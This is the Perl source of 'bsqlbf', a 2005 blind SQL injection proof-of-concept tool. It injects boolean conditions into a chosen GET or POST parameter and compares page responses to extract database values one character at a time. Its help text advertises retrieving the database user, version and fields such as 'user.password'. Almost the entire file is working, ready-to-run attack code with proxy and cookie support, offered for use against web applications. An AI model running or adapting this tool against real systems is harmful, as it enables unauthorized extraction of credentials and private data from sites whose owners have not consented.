#!/usr/bin/perl
# Blind SQL Injection POC. aramosf@unsec.net // http://www.unsec.net
# Special thanks to !dSR (www.digitalsec.es)
#
#
# CHANGELOG:
# Sun Dec 11 11:01:34 CET 2005
# + fixed automatch in POSTs
# + better output
# Mon Dec  5 18:30:03 CET 2005
# + added -blind option (to specify which attribute have sql injection).
# Tue Nov 29 17:31:54 CET 2005
# + auto search match string (when they arent -match option)
# Mon Nov 28 16:34:09 CET 2005
# + Support for POST and GET methods (-method get // -method post).
# + Cookies support (-cookie "blah=foo; moo=doo").
# + UserAgent support (-uagent "SQL Blind tool").
# Wed Nov 23 23:44:23 RST 2005
# First version 0.1:
# + code ripped from www.reversing.org <ilo[at]reversing.org> (thanks!)


use LWP::UserAgent;
use Getopt::Long;
use strict;


###############################################################################
my $default_debug = 0;
my $default_length = 32;
my $default_method = "GET";
my $version = "1.0";
my $default_useragent = "bsqlbf $version";
my $default_dict = "dict.txt";
my $default_sql = "version()";
###############################################################################


$| = 1;

my ($args, $abc, $solution);
my ($string, $char, @dic);
my (%vars, @varsb);
my ($lastvar, $lastval);
my ($scheme, $authority, $path, $query, $fragment);
my $hits = 0; 
my $usedict = 0; 
my $amatch = 0;
my ($ua,$req);

###############################################################################
# Define GetOpt:
my ($url, $test, $sql, $match, $uagent, $charset, $debug);
my ($proxy, $proxy_user, $proxy_pass); 
my ($dict, $start, $length, $method, $cookie,$blind);

my $options = GetOptions (
  'url=s'            => \$url,
  'test=i'           => \$test,
  'sql=s'           => \$sql,
  'blind=s'       => \$blind,
  'match=s'           => \$match,
  'charset=s'     => \$charset,
  'start=s'           => \$start,
  'length=s'     => \$length,
  'dict=s'       => \$dict,
  'method=s'     => \$method,
  'uagent=s'     => \$uagent,
  'cookie=s'     => \$cookie,
  'proxy=s'          => \$proxy,
  'proxy_user=s'     => \$proxy_user,
  'proxy_pass=s'     => \$proxy_pass,
  'debug!'           => \$debug );

&help unless ($url);

#########################################################################
# Default Options.
$abc          = charset();
$uagent   ||= $default_useragent; 
$debug  ||= $default_debug; 
$length   ||= $default_length; 
$solution   ||= $start;
$method   ||= $default_method;
$sql     ||= $default_sql;

&createlwp();
&parseurl();

if ( ! defined($blind)) {
    $lastvar = $varsb[$#varsb];
    $lastval = $vars{$lastvar};
} else {
    $lastvar = $blind;
    $lastval = $vars{$blind};
}

if (defined($cookie)) { &cookie() }

if (!$match) {
  print "\nTrying to find a match string...\n" if $debug eq 1;
  $amatch = "1";
  &auto_match();
}


&banner();
&httpintro();
&bsqlintro();
 
#########################################################################
# Define CHARSET to use. Dictionary /// (TODO: fix ugly code)

$dict ||= $default_dict;
open DICT,"$dict";  @dic=<DICT>; close DICT;

my $i;
my $nodict = 0;
for ($i=length($start)+1;$i<=$length;$i++) {
  my $furl;
  my $find = 0;
  $abc = charset();
  &bsqlintro if $debug eq 1;
    print "\r trying: $solution ";
  foreach (split/ */,$abc) {
    $find = 0; 
    $char = ord();
    $string = " AND MID($sql,$i,1)=CHAR($char)";
      if (lc($method) eq "post") {
       $vars{$lastvar} = $lastval . $string;
    }
      print "\x08$_";
    $furl = $url;
    $furl =~ s/($lastvar=$lastval)/$1$string/;
    my $html=fetch("$furl");
    $hits++;
      foreach (split(/\n/,$html)) {
       if (/\Q$match\E/) { 
          my $asc=chr($char);
          $solution .= $asc;
        $find = 1;
       }
      last if $find eq "1";
        }
    last if $find eq "1";
  }
  if ($usedict ne 0 && $find eq 0) { $nodict=1; $i--; }
  if ($find eq "0" && $usedict eq "0") { last; };
}

&result();

#########################################################################
sub httpintro {
  my ($strcookie, $strproxy, $i);
  print "--[ http options ]"; print "-"x62; print "\n";
  printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);
  printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$uagent);
  printf ("%12s %-50s\n","path:", $path);
  foreach (keys %vars) {
    $i++;
    printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});
  }
  if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }
  printf ("%12s %-50s\n","cookies:",$strcookie);
  if (! $proxy) { $strproxy="(null)" } else { $strproxy = $proxy; }
  printf ("%12s %-50s\n","proxy_host:",$strproxy);
  if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }
  printf ("%12s %-50s\n","proxy_user:",$strproxy);
}

sub bsqlintro {
  my ($strstart, $strblind, $strlen, $strmatch, $strsql);
  print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";
  if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }
  if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }
  printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);
  if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
  if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }
  printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);
  printf ("%12s %-50s\n","charset:",$abc);
  if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; }
  #printf ("%12s %-60s\n","$strmatch",$match);
  print " $strmatch $match\n";
  print "-"x80; print "\n\n";
}
#########################################################################

sub createlwp {
  my $proxyc;
  LWP::Debug::level('+') if $debug gt 3;
  $ua = new LWP::UserAgent(
        cookie_jar=> { file => "$$.cookie" }); 
  $ua->agent("$uagent");
  if (defined($proxy_user) && defined($proxy_pass)) {
    my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
    $proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; 
    $proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;
  } else { $proxyc = $proxy; }
  
  $ua->proxy(['http'] => $proxyc) if $proxy;
}  

sub cookie {
  # Cookies check
  if ($cookie || $cookie =~ /; /) {
    foreach my $c (split /;/, $cookie) {
      my ($a,$b) = split /=/, $c;
      if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }
    }
  }
}

sub parseurl {
 ###############################################################################
 # Official Regexp to parse URI. Thank you somebody.
  ($scheme, $authority, $path, $query, $fragment) =
    $url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; 
  # Parse args of URI into %vars and @varsb.
  foreach my $varval (split /&/, $query) {
    my ($var, $val) = split /=/, $varval;
    $vars{$var} = $val;
    push(@varsb, $var);
  }
}

sub charset {
  if ($hits ne 0 && $nodict eq 0) {
    my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc;
    foreach my $line (@dic) {
      chomp $line; 
         if ($line =~ /\Q$solution\E/ && $line !~ /^#/) {
        $foo = $line; $foo =~ s/\Q$solution\E//;
         foreach ((split/ */,$foo)) {
            if ($tmp{$_} ne "1" ) {
            $tmp{$_} = "1"; push (@b,$_);
          }
         }
      }
    }
        if ($#b >= 0) {
      foreach my $c (@b) { $abc .=$c;}
      $usedict = $abc;
      print "\nUsing a dictionary with this charset: $abc\n" if $debug eq 1;
     } else {
      $abc = chardefault()
     }
  } else {
      $abc = chardefault()
  }
  return $abc;
}

sub chardefault {
  my $tmp;
  $abc = $charset;
  if (lc($charset) eq "md5") {
    $abc = "abcdef0123456789\$.";
  } elsif (lc($charset) eq "num") {
    $abc = "0123456789";
  } elsif (lc($charset) eq "all" || ! $charset) {
       $abc = "abcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}º@=/\\|#?¿&·!<>ñÑ";
  }
  # If a dictionary has been used before, remove chars from current charset
  if ($usedict ne 0) {
    foreach (split(/ */, $usedict)) {
      $abc =~ s/$_//;
    }
  }
  $usedict = 0;
  return $abc;
}

sub auto_match {
    $match = fmatch("$url");
}


#########################################################################
# Show options at running:
sub banner {
  print "\n // Blind SQL injection PoC tool.\n";
  print " // code ripped from http://www.reversing.org.\n";
  print " // aramosf\@unsec.net / http://www.unsec.net\n";
  print " // just another script for digitalsec.es friends!\n\n";
}


#########################################################################
# Get differences in HTML
sub fmatch {
 my ($ok,$rtrn);
 my ($furla, $furlb) = ($_[0], $_[0]);
 my ($html_a, $html_b);
 if (lc($method) eq "get") {
  $furla =~ s/($lastvar=$lastval)/$1 AND 1=1/;
  $furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/;
   $html_a = fetch("$furla");
  $html_b = fetch("$furlb");
 } elsif (lc($method) eq "post") {
   $vars{$lastvar} = $lastval . " AND 1=1";
   $html_a = fetch("$furla");
   $vars{$lastvar} = $lastval . " AND 1=0";
   $html_b = fetch("$furla");
   $vars{$lastvar} = $lastval;
 }
 my @h_a = split(/\n/,$html_a);
 my @h_b = split(/\n/,$html_b);
 foreach my $a (@h_a) {
  $ok = 0;
  if ($a =~ /\w/) {
       foreach (@h_b) {
        if ($a eq $_) {$ok = 1; }
    }
  } else { $ok = 1; }
   $rtrn = $a;
   last if $ok ne 1;
 }
 return $rtrn;
}


#########################################################################
# Fetch HTML from WWW
sub fetch {
  my $res;
  if (lc($method) eq "get") {
    my $fetch = $_[0];
    if ($cookie) {
      $res = $ua->get("$fetch", Cookie => "$cookie");
    } elsif (!$cookie) {
      $res = $ua->get("$fetch");
    }
  } elsif (lc($method) eq "post") {
    my($s, $a, $p, $q, $f) =
        $url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; 
    my $fetch = "$s://$a".$p;
    if ($cookie) {
        $res = $ua->post("$fetch",\%vars, Cookie => "$cookie");
    } elsif (!$cookie) {
        $res = $ua->post("$fetch",\%vars);
    }
  } else {
    die "Wrong httpd method. Use -h for help\n";
  }
  my $html = $res->content();
  return $html;
}

sub result {
  print "\r results:                                  \n" .
   " $sql = $solution\n" if length($solution) gt 0 and $debug eq 0;
  print "\n results:                                  \n" .
   " $sql = $solution\n" if length($solution) gt 0 and $debug eq 1;
  print " total hits: $hits\n";
}


sub help {
  &banner();
  print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n";
  print "\n options:\n";
  print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n";
  print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n"; 
  print "\t\tuser() or all data available in the requested query, for\n";
  print "\t\texample: user.password. Default: version()\n";
  print " -blind:\tparameter to inject sql. Default is last value of url\n";
  print " -match:\tstring to match in valid query, Default is try to get auto\n";
  print " -charset:\tcharset to use. Default is all. Others charsets supported:\n";
  print " \tall:\tabcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}º@=/\\|#?¿&·!<>ñÑ\n";
  print " \tnum:\t0123456789\n";
  print " \tmd5:\tabcdef0123456789\$\n";
  print " \tcustom:\tyour custom charset, for example: \"abc0123\"\n";
  print " -start:\tif you know the beginning of the string, use it.\n";
  print " -length:\tmaximum length of value. Default is $default_length.\n";
  print " -dict:\t\tuse dictionary for improve speed. Default is dict.txt\n";
  print " -method:\thttp method to use; get or post. Default is $default_method.\n";
  print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";
  print " -cookie:\thttp cookie header to use\n";
  print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";
  print " -proxy_user:\tproxy http user\n";
  print " -proxy_pass:\tproxy http password\n";
    print "\n example:\n bash# $0 -u http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n";
    exit(1);
}